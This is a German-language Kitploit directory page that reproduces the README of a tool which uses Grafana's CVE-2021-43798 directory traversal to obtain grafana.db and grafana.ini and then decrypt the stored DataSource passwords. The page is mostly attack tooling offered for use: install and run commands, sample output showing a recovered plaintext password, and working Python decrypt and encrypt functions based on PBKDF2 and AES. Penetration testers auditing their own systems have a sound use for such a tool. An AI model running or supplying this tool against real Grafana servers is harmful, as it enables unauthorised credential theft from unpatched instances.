Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Grafana-Decryptor-for-CVE-2021-43798 — Entschlüsselt Grafana-DataSource-Passwörter durch Ausnutzung der CVE-2021-43798 Directory Traversal, um Konfigurationsdateien abzurufen und Verschlüsselungsschlüssel abzuleiten. | Kitploit
Tools/GitHubGitHub/sic4rio/grafana-decryptor-for-cve-2021-43798
Passwort-CrackingVerschlüsselungs-/EntschlüsselungstoolsSchwachstellenanalyseExploitationWebsicherheitPenetrationstests
GitHubsic4rio/grafana-decryptor-for-cve-2021-43798

Grafana-Decryptor-for-CVE-2021-43798

Entschlüsselt Grafana-DataSource-Passwörter durch Ausnutzung der CVE-2021-43798 Directory Traversal, um Konfigurationsdateien abzurufen und Verschlüsselungsschlüssel abzuleiten.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
854vor 1 JahrNoch nicht geprüft

Grafana-Entschlüsselungstool für CVE-2021-43798

Dieses Skript entschlüsselt die DataSource-Passwörter aus einer Grafana-Instanz, die für CVE-2021-43798 anfällig ist, was nicht autorisiertes Lesen beliebiger Dateien ermöglicht.

Beschreibung

Grafana-Versionen 8.0.0-beta1 bis 8.3.0 sind anfällig für eine Verzeichnis-Traversal-Schwachstelle, die es nicht autorisierten Benutzern ermöglicht, beliebige Dateien auf dem Server zu lesen. Dieses Skript nutzt diese Schwachstelle aus, um die DataSource-Passwörter in der Datei grafana.db mithilfe des in der Konfigurationsdatei grafana.ini gefundenen secret_key zu entschlüsseln.

Anforderungen

  • Python 3.6+
  • Die folgenden Python-Bibliotheken:
    • requests
    • questionary
    • termcolor
    • cryptography

Installation

  1. Klonen Sie das Repository oder laden Sie das Skript herunter.
  2. Installieren Sie die erforderlichen Python-Bibliotheken:
    root@kitploit:~
    pip install requests questionary termcolor cryptography
    

Verwendung

  1. Stellen Sie sicher, dass Sie die Dateien grafana.db und grafana.ini von der Ziel-Grafana-Instanz haben.
  2. Führen Sie das Skript aus, um die DataSource-Passwörter zu entschlüsseln.

Beispiel: DataSource-Passwort abrufen

root@kitploit:~
python decrypt.py

Beispiel: Ein Klartext-Passwort verschlüsseln

Sie können auch ein Klartext-Passwort mit dem Skript verschlüsseln, indem Sie den Beispielcode im Skript auskommentieren.

Skriptdetails

Ableitung des Verschlüsselungsalgorithmus

Das Skript bestimmt den verwendeten Verschlüsselungsalgorithmus durch Analyse der Nutzlast. Der Standard-Verschlüsselungsalgorithmus ist aes-cfb.

Entschlüsseln des Passworts

Unter Verwendung des abgeleiteten Verschlüsselungsalgorithmus und des secret_key aus grafana.ini entschlüsselt das Skript das DataSource-Passwort.

Verschlüsseln eines Passworts

Das Skript enthält auch eine Funktion, um ein Klartext-Passwort mit derselben Verschlüsselungsmethode und demselben secret_key zu verschlüsseln.

Beispielausgabe

root@kitploit:~
######################################
         GRAFANA DECRYPTOR
CVE-2021-43798 Grafana Unauthorized
arbitrary file reading vulnerability
            SICARI0
######################################

? Enter the datasource password: anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==

[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] DataSourcePassword= anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] plainText= SuperSecureP@ssw0rd

Entschlüsselungs- und Verschlüsselungsfunktionen

root@kitploit:~
def decrypt_gcm(block, payload):
    gcm = Cipher(algorithms.AES(block), modes.GCM(payload[SALT_LENGTH:SALT_LENGTH+12]), backend=default_backend()).decryptor()
    return gcm.update(payload[SALT_LENGTH+12:]) + gcm.finalize()

def decrypt_cfb(block, payload):
    if len(payload) < 16:
        raise ValueError("Payload too short")
    
    iv = payload[SALT_LENGTH:SALT_LENGTH+16]
    payload = payload[SALT_LENGTH+16:]
    decryptor = Cipher(algorithms.AES(block), modes.CFB(iv), backend=default_backend()).decryptor()
    return decryptor.update(payload) + decryptor.finalize()

def encryption_key_to_bytes(secret, salt):
    kdf = PBKDF2HMAC(
        algorithm=hashes.SHA256(),
        length=32,
        salt=salt,
        iterations=10000,
        backend=default_backend()
    )
    return kdf.derive(secret.encode())

def decrypt(payload, secret):
    alg, payload = derive_encryption_algorithm(payload)
    
    if len(payload) < SALT_LENGTH:
        raise ValueError("Unable to compute salt")
    
    salt = payload[:SALT_LENGTH]
    key = encryption_key_to_bytes(secret, salt)
    
    block = algorithms.AES(key)
    
    if alg == AES_GCM:
        return decrypt_gcm(key, payload)
    else:
        return decrypt_cfb(key, payload)

def encrypt(payload, secret):
    salt = os.urandom(SALT_LENGTH)
    key = encryption_key_to_bytes(secret, salt)
    block = algorithms.AES(key)
    
    iv = os.urandom(16)
    encryptor = Cipher(algorithms.AES(key), modes.CFB(iv), backend=default_backend()).encryptor()
    encrypted = encryptor.update(payload) + encryptor.finalize()
    
    return salt + iv + encrypted

Diese Funktionen übernehmen die Entschlüsselungs- und Verschlüsselungsprozesse.

Beitrag

Zögern Sie nicht, Issues oder Pull Requests zu eröffnen, wenn Sie Fehler finden oder Verbesserungsvorschläge haben.

Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert. Siehe die Datei LICENSE für Details.

Tool herunterladen